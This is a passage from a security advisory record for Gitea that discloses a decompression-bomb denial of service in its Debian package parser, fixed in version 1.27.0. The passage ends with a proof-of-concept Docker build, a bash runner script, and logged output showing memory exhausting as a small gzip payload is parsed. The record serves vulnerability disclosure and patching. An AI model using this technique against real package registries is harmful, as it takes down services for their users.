──────────────────────────────────────────────────────────────\nFROM debian:bookworm-slim\nCOPY --from=builder /poc /poc\nENTRYPOINT [\"/poc\"]\n```\n\nNow run the PoC in the Docker container with:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nIMAGE=gitea-debian-poc\n\necho \"=== Building Docker image ===\"\ndocker build -f Dockerfile.poc -t \"$IMAGE\" .\n\necho \"\"\necho \"=== Running PoC (memory limit: 12 GB) ===\"\necho \" The container will be OOM-killed once memory is exhausted.\"\necho \"\"\n\n# --memory caps RSS; --memory-swap equal to --memory disables swap.\n# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.\ndocker run --rm \\\n --memory=12g \\\n --memory-swap=12g \\\n --name gitea-poc \\\n \"$IMAGE\"\n\nEXIT=$?\necho \"\"\nif [ $EXIT -eq 137 ]; then\n echo \"Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed.\"\nelse\n echo \"Container exited with code $EXIT.\"\nfi\n```\n\nYou will see the following when running the container (see the heap allocation growing towards the end):\n\n```\n=== Building Docker image ===\nDEPRECATED: The legacy builder is deprecated and will be removed in a future release.\n Install the buildx component to build images with BuildKit:\n https://docs.docker.com/go/buildx/\n\nSending build context to Docker daemon 59.32MB\nStep 1/7 : FROM golang:1.26-bookworm AS builder\n ---> eafdda676c2e\nStep 2/7 : WORKDIR /src\n ---> Using cache\n ---> db52a8f73485\nStep 3/7 : COPY . .\n ---> Using cache\n ---> 4caf57c6e889\nStep 4/7 : RUN go build -o /poc ./cmd/poc/\n ---> Using cache\n ---> 286afcb05d0e\nStep 5/7 : FROM debian:bookworm-slim\n ---> f54f5c8e2e12\nStep 6/7 : COPY --from=builder /poc /poc\n ---> Using cache\n ---> d7d0b269df49\nStep 7/7 : ENTRYPOINT [\"/poc\"]\n ---> Using cache\n ---> b233faaad561\nSuccessfully built b233faaad561\nSuccessfully tagged gitea-debian-poc:latest\n\n=== Running PoC (memory limit: 12 GB) ===\n The container will be OOM-killed once memory is exhausted.\n\n=== Gitea Debian Parser — Decompression Bomb PoC ===\nTarget uncompressed control file size: 16.1 GB\nContainer memory limit: 12 GB\n\n[phase 1] Generating control.tar.gz (compressed payload)...\n Streaming 3221225450 lines (16.1 GB) through gzip...\n[mem] HeapAlloc=0.04 GB Sys=0.08 GB TotalAlloc=0.05 GB\n ... 16% (2.1s)\n ... 31% (3.9s)\n[mem] HeapAlloc=0.07 GB Sys=0.11 GB TotalAlloc=0.08 GB\n ... 47% (5.8s)\n[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB\n ... 62% (7.4s)\n[mem] HeapAlloc=0.11 GB Sys=0.18 GB TotalAlloc=0.15 GB\n ... 78% (9.0s)\n[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB\n ... 93% (10.8s)\n Done in 11.5s\n control.tar.gz compressed size: 83.07 MB\n\nPayload .deb on disk: 83.07 MB (took 11.6s)\n\n[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\n Memory will grow until the container is OOM-killed.\n[mem] HeapAlloc=0.21 GB Sys=0.31 GB TotalAlloc=0.29 GB\n[mem] HeapAlloc=0.41 GB Sys=0.44 GB TotalAlloc=0.48 GB\n[mem] HeapAlloc=0.25 GB Sys=0.61 GB TotalAlloc=1.63 GB\n[mem] HeapAlloc=0.63 GB Sys=0.97 GB TotalAlloc=2.63 GB\n[mem] HeapAlloc=0.83 GB Sys=1.52 GB TotalAlloc=3.80 GB\n[mem] HeapAlloc=1.39 GB Sys=2.00 GB TotalAlloc=5.34 GB\n[mem] HeapAlloc=1.37 GB Sys=2.00 GB TotalAlloc=5.86 GB\n[mem] HeapAlloc=1.42 GB Sys=2.60 GB TotalAlloc=6.97 GB\n[mem] HeapAlloc=1.40 GB Sys=3.35 GB TotalAlloc=8.26 GB\n[mem] HeapAlloc=2.25 GB Sys=3.36 GB TotalAlloc=9.11 GB\n[mem] HeapAlloc=1.97 GB Sys=4.28 GB TotalAlloc=10.48 GB\n[mem] HeapAlloc=2.73 GB Sys=4.29 GB TotalAlloc=11.23 GB\n[mem] HeapAlloc=2.77 GB Sys=5.45 GB TotalAlloc=12.67 GB\n[mem] HeapAlloc=2.90 GB Sys=5.45 GB TotalAlloc=13.46 GB\n[mem] HeapAlloc=3.57 GB Sys=5.46 GB TotalAlloc=14.13 GB\n[mem] HeapAlloc=2.94 GB Sys=5.46 GB TotalAlloc=16.07 GB\n[mem] HeapAlloc=3.72 GB Sys=5.47 GB TotalAlloc=16.85 GB\n[mem] HeapAlloc=4.50 GB Sys=5.48 GB TotalAlloc=17.64 GB\n[mem] HeapAlloc=5.30 GB Sys=7.28 GB TotalAlloc=19.58 GB\n[mem] HeapAlloc=3.82 GB Sys=7.28 GB TotalAlloc=20.17 GB\n[mem] HeapAlloc=4.66 GB Sys=7.29 GB TotalAlloc=21.01 GB\n[mem] HeapAlloc=5.33 GB Sys=7.29 GB TotalAlloc=21.67 GB\n[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB\n[mem] HeapAlloc=6.62 GB Sys=9.56 GB TotalAlloc=24.40 GB\n[mem] HeapAlloc=4.72 GB Sys=9.56 GB TotalAlloc=25.09 GB\n[mem] HeapAlloc=5.54 GB Sys=9.56 GB TotalAlloc=25.90 GB\n[mem] HeapAlloc=6.28 GB Sys=9.57 GB TotalAlloc=26.64 GB\n[mem] HeapAlloc=7.15 GB Sys=9.59 GB TotalAlloc=27.51 GB\n[mem] HeapAlloc=8.27 GB Sys=12.40 GB TotalAlloc=30.43 GB\n[mem] HeapAlloc=5.52 GB Sys=12.40 GB TotalAlloc=30.90 GB\n[mem] HeapAlloc=6.35 GB Sys=12.40 GB TotalAlloc=31.74 GB\n[mem] HeapAlloc=7.18 GB Sys=12.40 GB TotalAlloc=32.57 GB\n[mem] HeapAlloc=8.01 GB Sys=12.41 GB TotalAlloc=33.39 GB\n[mem] HeapAlloc=8.80 GB Sys=12.43 GB TotalAlloc=34.19 GB\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.gitea.io/gitea"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.27.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/pull/38406"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/pull/38426"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-409" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T20:24:09Z",
"nvd_published_at" : null
}
}